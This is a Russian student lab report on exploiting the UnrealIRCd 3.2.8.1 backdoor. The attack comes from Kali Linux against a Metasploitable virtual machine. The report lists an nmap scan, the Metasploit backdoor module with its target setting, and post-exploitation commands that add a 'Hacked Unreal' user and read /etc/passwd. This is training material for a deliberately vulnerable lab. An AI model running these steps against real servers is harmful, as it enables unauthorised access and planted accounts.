**ФИО:** Степанищева Анастасия Андреевна

**Группа:** 11–902

**Тема:** ЛАБОРАТОРНАЯ РАБОТА №6. ИСПОЛЬЗОВАНИЕ БЕКДОРА ПРОТОКОЛА UNREALIRCD 3.2.8.1.

**Содержание:**

**1.** Подготовка

**2.** Атака с использованием бекдора протокола UNREALIRCD 3.2.8.1

**3.** Результаты

**Отчет:**

**1. Подготовка**

Разворачиваем виртуальные машины (Kali Linux и Metasploitable), подготовленные в лабораторных 1 и 2. Определяем ip-адреса, выданные DHCP-сервером для каждой машины, и проверяем корректность соединения с помощью ping.

**2. Атака с использованием бекдора протокола UNREALIRCD 3.2.8.1**

1. Определяем порт, который используется пакетом unreal и его статус. Для этого на Kali Linux выполняем сканирование Metasploitable (nmap -p 1-65535 -T4 -A MS\_IP 2>&1 | tee /var/tmp/scan.txt), анализируем файл и проверяем выявленный порт (grep 6667 /var/tmp/scan.txt).

2.Запускаем эксплоит. Для этого в консоли msfconsole, запущенной в терминале Kali Linux, выполняем команду exploit/unix/irc/unreal\_ircd\_3281\_backdoor

3. Установим значение ip-жертвы set RHOST MS\_IP и запустим эксплоит (exploit)

4. Убеждаемся в успешности атаки (hostname, ifconfig eth0, whoami)

**3. Результаты**

Выведем последовательно

1. whoami;
2. useradd -m -d /home/<ваш логин> -c "Hacked Unreal" -s /bin/bash <ваш логин>
3. grep <ваш логин> /etc/passwd
4. date
5. echo "Ф.И.О. проделавшего работу";

Изображение выглядит как текст

Автоматически созданное описание